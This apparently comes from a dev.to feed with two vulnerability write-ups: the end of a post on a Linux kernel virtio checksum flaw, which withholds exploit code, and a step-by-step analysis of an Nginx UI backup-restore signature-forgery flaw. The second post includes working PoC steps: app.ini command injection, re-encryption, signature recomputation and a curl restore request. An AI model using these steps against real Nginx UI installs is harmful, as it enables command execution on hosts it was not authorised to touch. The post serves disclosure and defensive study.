&lt;p&gt;The researchers drew a clear line here — &lt;strong&gt;they deliberately avoided claiming that "a 32-byte disclosure trivially becomes code execution."&lt;/strong&gt; Proving a leak, proving a write, succeeding at execution in your own lab, and claiming it works in some arbitrary provider's production environment are all different levels of evidence. So the techniques that actually turned "read" into "write" and "execution" — allocator grooming to place objects at chosen locations, object-lifetime control, hypervisor-specific adaptation — &lt;strong&gt;were not published.&lt;/strong&gt; This is standard responsible-disclosure practice, and it also buys time for other hypervisor and sandbox vendors to patch.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/TddlrTHVlcc" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  About the PoC — why this post doesn't contain working attack code
&lt;/h2&gt;

&lt;p&gt;This CVE is different in character from every other post on this blog so far. As CloudLinux and several other vendor trackers explicitly state, &lt;strong&gt;no publicly distributed PoC exists&lt;/strong&gt;, and the research team deliberately withheld the specific techniques (memory grooming, object placement, hypervisor-specific triggering) that were needed to get from disclosure to host writes and execution.&lt;/p&gt;

&lt;p&gt;Reconstructing working attack code in this situation would be no different from &lt;strong&gt;creating and distributing a new guest-to-host VM escape weapon&lt;/strong&gt; that doesn't currently exist publicly. Because this affects cloud infrastructure broadly, it needs to be handled by a different standard than the other "patched web application vulnerability" posts on this blog — so this post does not write or reconstruct executable exploit code.&lt;/p&gt;

&lt;p&gt;What can be shared is the &lt;strong&gt;evidence methodology&lt;/strong&gt; the researchers described publicly — how they validated this flaw without publishing the weaponization itself.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Control design&lt;/strong&gt;: they compared an "identity case," where the packet's original header length stayed unchanged, against an "active case," where a later operation changed that interpretation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Structural validity check&lt;/strong&gt;: they confirmed the transmitted packet was structurally valid at the protocol level (the leak took the shape of a normal-looking IP packet, not an obviously corrupted one).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Out-of-bounds byte check&lt;/strong&gt;: they confirmed nonzero bytes appeared past the known logical data boundary.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difference-from-sender check&lt;/strong&gt;: they confirmed those bytes differed from the "guard data" the sender (the attacker themselves) had planted, ruling out simply reading back their own data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dual-signal cross-verification&lt;/strong&gt;: rather than relying on packet capture alone, they independently confirmed receipt at the application level, distinguishing a genuine host-side rewrite from an artifact of packet construction or capture.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This methodology itself is a good example of how to design proof that's rigorous and falsifiable without overclaiming — and it's enough to understand why this flaw is credibly established, even without any working attack code.&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — a one-line invariant: "validate before you complete"
&lt;/h2&gt;

&lt;p&gt;The accepted fix (by Michael S. Tsirkin) opted for a small, targeted guard right before IPv4 checksum completion, rather than a broad redesign.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// include/net/ip.h (after the fix)&lt;/span&gt;
&lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kr"&gt;inline&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;ip_check_csum_start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sk_buff&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;unlikely&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;csum_start&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;
                 &lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;network_header&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ip_hdrlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;EINVAL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The core invariant fits in one line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;checksum start position &amp;gt;= IPv4 network-header start + (parsed) IPv4 header length
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Assuming &lt;code&gt;csum_offset&lt;/code&gt; is non-negative, this guarantees that the final location the checksum gets written to can never fall inside the IPv4 header. It doesn't certify that the check points at a valid TCP/UDP checksum field — but it provides exactly the guarantee needed: that the already-trusted IPv4 header can't be overwritten. This guard was added at each of the five call sites that complete a checksum.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// net/ipv4/ip_output.c · ip_do_fragment() (after the fix, reconstructed from the public commit)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ip_summed&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;CHECKSUM_PARTIAL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ip_check_csum_start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;skb_checksum_help&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;skb&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As the researchers emphasize, this patch isn't a full redesign of the virtio checksum API — it's a &lt;strong&gt;defense-in-depth measure.&lt;/strong&gt; Broader input validation across the entire ingress path remains a separate piece of follow-up work.&lt;/p&gt;




&lt;h2&gt;
  
  
  The broader pattern this case illustrates — deferred-metadata trust inversion
&lt;/h2&gt;

&lt;p&gt;The research team summarized the essence of this flaw as a recurring anti-pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;untrusted metadata enters
        ↓
validated only against an early representation
        ↓
packet gets normalized, parsed, authorized
        ↓
(later) that metadata triggers an actual operation
        ↓
security-relevant bytes change
        ↓
the next consumer trusts the changed interpretation
        ↓
memory safety or policy boundary collapses
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The audit question to ask isn't "did we validate the checksum offsets?" It's: &lt;strong&gt;"after every transformation this value passes through, can a deferred write still reach bytes whose meaning has already been trusted?"&lt;/strong&gt; This lesson isn't specific to Linux networking — it applies to any system handling asynchronous, deferred work alongside mutable metadata.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update your kernel to a version containing &lt;code&gt;6785011f8b16&lt;/code&gt;, or your distribution's published backport. Major distributions — Debian, the Red Hat family including AlmaLinux and CloudLinux, and others — are each backporting to their own stable branches, so check your distribution's security advisory directly.&lt;/li&gt;
&lt;li&gt;This flaw directly and most immediately affects virtualization hosts (KVM-based) running untrusted guest VMs. As a stopgap before patching, disabling checksum offload for untrusted guests has been discussed as a mitigation, but it comes with a performance cost and should be treated as limited and unverified.&lt;/li&gt;
&lt;li&gt;Even in shared hosting environments without VMs, check whether unprivileged user namespaces could reach a similar path. Disabling unprivileged user namespace creation, if you don't need it, reduces this attack surface as well.&lt;/li&gt;
&lt;li&gt;If you use a cloud or sandbox provider, the most reliable step is checking their official advisories for what action they've taken on this CVE. This is a flaw in the Linux kernel itself, not a vendor-specific misconfiguration, so multiple hypervisors and sandbox products can be affected simultaneously.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>linux</category>
      <category>cybersecurity</category>
      <category>cloud</category>
      <category>security</category>
    </item>
    <item>
      <title>CVE-2026-107806 Explained: When the Same Person Holds Both the Lock and the Key, the Signature Proves Nothing</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Mon, 19 Oct 2026 04:40:50 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-107806-explained-when-the-same-person-holds-both-the-lock-and-the-key-the-signature-11gb</link>
      <guid>https://dev.to/guidance_white/cve-2026-107806-explained-when-the-same-person-holds-both-the-lock-and-the-key-the-signature-11gb</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqhxu374gmpqm42gxgp87.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fqhxu374gmpqm42gxgp87.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-107806&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;Nginx UI (0xJacky/nginx-ui — a web console for managing nginx)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;2.3.8 and above, below 2.5.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;2.5.0 (commit &lt;code&gt;a467ed652591fc0cd1b466a1ec751b493faef9f7&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;9.4 (Critical) — &lt;code&gt;AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-94 (Improper Control of Generation of Code / Code Injection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Yes&lt;/strong&gt; — a precondition is an admin account with a valid session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;mamdouhmahfouz, via GitHub Security Advisory (GHSA-p393-cf76-4jmr)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub stars&lt;/td&gt;
&lt;td&gt;11,600+&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Nginx UI is a tool that lets you manage nginx configuration through a web console. Being the console that runs a reverse proxy is inherently sensitive — it terminates traffic, holds certificates, decides which backend requests go to, and typically runs on a host with broad network reach. What makes this particular CVE significant is that it's &lt;strong&gt;a path that converts console access into command execution on that host.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This isn't an authentication-bypass vulnerability. The attacker needs an already-valid admin session (a JWT). Instead, this CVE demonstrates a post-authentication trust-boundary failure: &lt;strong&gt;just because data arrived through an authenticated endpoint from an authenticated user doesn't mean every value inside that data can be trusted.&lt;/strong&gt; Specifically, the signature mechanism meant to verify that a backup hasn't been tampered with — used when restoring that backup — was designed so that &lt;strong&gt;the signature verification key itself is derived from a value the attacker submitted.&lt;/strong&gt; When the person sealing the lock and the person inspecting it both get their copy of the key from the attacker, that lock proves nothing.&lt;/p&gt;

&lt;p&gt;For context, this project has another, similarly-named vulnerability. &lt;code&gt;CVE-2026-42238&lt;/code&gt; was a problem where the restore API could be reached &lt;strong&gt;without authentication during the installation flow&lt;/strong&gt;, fixed in 2.3.8 by enforcing authentication on the restore path. CVE-2026-107806 is a separate flaw that remained &lt;strong&gt;even after&lt;/strong&gt; that authentication was enforced. In other words, the 2.3.8 fix didn't stop this one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the flaw lives — the key that encrypted the backup is trusted again when restoring it
&lt;/h2&gt;

&lt;p&gt;Nginx UI's backup feature lets you download a backup file (zip) via &lt;code&gt;GET /api/backup&lt;/code&gt;, and at that point the AES key and IV that encrypted the backup are returned together in the &lt;code&gt;X-Backup-Security&lt;/code&gt; response header, formatted as &lt;code&gt;key_b64:iv_b64&lt;/code&gt;. This design choice is reasonable on its own — it's meant for "portable backups," where the server doesn't retain the key long-term but instead hands it to whoever downloads the backup at that moment.&lt;/p&gt;

&lt;p&gt;The problem shows up &lt;strong&gt;when that backup gets restored.&lt;/strong&gt; &lt;code&gt;POST /api/restore&lt;/code&gt; accepts the uploaded backup along with a &lt;code&gt;security_token&lt;/code&gt; (the key/IV to use for decryption), and in that flow, the logic that builds and checks &lt;code&gt;manifest.sig&lt;/code&gt; — meant to confirm the backup hasn't been tampered with — derives its verification key from &lt;strong&gt;that very AES key the requester submitted.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff51xte4h835b0mtx8o2o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff51xte4h835b0mtx8o2o.png" alt=" " width="800" height="706"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — downloading the backup: the encryption key goes right back out in the response
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;GET /api/backup
Authorization: &amp;lt;admin JWT&amp;gt;

→ 200 OK
X-Backup-Security: &amp;lt;key_b64&amp;gt;:&amp;lt;iv_b64&amp;gt;
Content-Type: application/zip
&lt;span class="o"&gt;(&lt;/span&gt;body: backup.zip containing manifest.json, manifest.sig, the encrypted nginx-ui.zip, nginx.zip, etc.&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This part works as designed. Whoever receives the backup — a legitimate admin, or an attacker who hijacked a session or otherwise obtained one — can use this key to decrypt &lt;code&gt;nginx-ui.zip&lt;/code&gt; and read &lt;code&gt;app.ini&lt;/code&gt; (Nginx UI's own configuration file) inside it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — the root cause: the signature verification key is computed from "that same key the attacker sent"
&lt;/h3&gt;

&lt;p&gt;The root cause stated in the GitHub security advisory is as follows. &lt;code&gt;/api/restore&lt;/code&gt; can only be called by an authenticated admin, but its handler accepts &lt;strong&gt;the backup key material the attacker submits&lt;/strong&gt;, verifies the manifest's signature using &lt;strong&gt;a key derived from that same material&lt;/strong&gt;, decrypts the backup contents using that key too, and then copies the decrypted &lt;code&gt;app.ini&lt;/code&gt; straight into the live configuration path.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// internal/backup/manifest.go (reconstructed from the public advisory)&lt;/span&gt;
&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;deriveSigningKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;submittedAESKey&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sum256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;append&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"nginx-ui-backup-signing-v1:"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;submittedAESKey&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;verifyManifest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manifestBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uploadedSig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;submittedAESKey&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;signingKey&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;deriveSigningKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;submittedAESKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c"&gt;// computed from the attacker-submitted key&lt;/span&gt;
    &lt;span class="n"&gt;expected&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;signingKey&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;manifestBytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Equal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uploadedSig&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expected&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looked at in isolation, this function looks like an ordinary HMAC check. The problem is that &lt;code&gt;submittedAESKey&lt;/code&gt; is &lt;strong&gt;not a secret the server pre-provisioned and stored — it's the value carried along as &lt;code&gt;security_token&lt;/code&gt; in this specific restore request.&lt;/strong&gt; The source of the key used by the "verifying" party is identical to input controlled by the "signing" party — in this case, the attacker. This is functionally in the same league as a JWT &lt;code&gt;alg=none&lt;/code&gt; bug or a symmetric/asymmetric key-confusion attack: the secret that's supposed to be the root of trust is being supplied by the exact same person who sent the data it's meant to authenticate.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — the attacker modifies the contents with their own key, then recomputes the signature using the same formula
&lt;/h3&gt;

&lt;p&gt;An attacker holding admin privileges (or a hijacked admin session) still has the key obtained in Step 1 in hand. Here's the tampering process as shown in the published PoC.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# summarized from the public PoC (the app.ini manipulation portion)
# Inject TestConfigCmd into the [nginx] section — normally a "protected" field
# that can't be changed through the settings API
&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;TestConfigCmd = printf restored-rce &amp;gt;/tmp/nginx-ui-restore-rce&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="c1"&gt;# ... insert the line above at the end of app.ini's [nginx] section ...
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Re-encrypt the modified app.ini with the same key → replace nginx-ui.zip&lt;/span&gt;
openssl enc &lt;span class="nt"&gt;-aes-256-cbc&lt;/span&gt; &lt;span class="nt"&gt;-K&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$KEY_HEX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-iv&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IV_HEX&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-nosalt&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-in&lt;/span&gt; nginx-ui.modified.clear.zip &lt;span class="nt"&gt;-out&lt;/span&gt; outer/nginx-ui.zip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Recompute manifest.json to match the modified files, and re-sign it
# using the EXACT SAME formula the server uses
&lt;/span&gt;&lt;span class="n"&gt;signing_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;nginx-ui-backup-signing-v1:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;digest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;manifest_sig&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hmac&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;signing_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;manifest_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sha256&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The exact calculation the server uses to decide "this signature is valid, so the backup wasn't tampered with" is one the attacker can perform identically. The signature was supposed to guarantee "this was signed using a secret only the server knows" — but that secret was in the attacker's hands all along.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — the forged backup passes verification and overwrites a protected setting
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BASE&lt;/span&gt;&lt;span class="s2"&gt;/api/restore"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"restore_nginx=false"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"restore_nginx_ui=true"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"verify_hash=true"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"security_token=&lt;/span&gt;&lt;span class="nv"&gt;$SEC&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s2"&gt;"backup_file=@malicious-restore.zip"&lt;/span&gt;

&lt;span class="c"&gt;# → {"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;hash_match: true&lt;/code&gt; means the server concluded "this backup is correctly signed with the key I issued." The restore logic applies this verified &lt;code&gt;app.ini&lt;/code&gt; straight to the live configuration file — including protected fields like &lt;code&gt;TestConfigCmd&lt;/code&gt; that the normal settings API (&lt;code&gt;/api/settings&lt;/code&gt;, etc.) is explicitly blocked from modifying. Going through the "trusted path" of backup restore renders every constraint from the ordinary configuration-change path meaningless.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5 — one click on "test configuration" runs the command
&lt;/h3&gt;

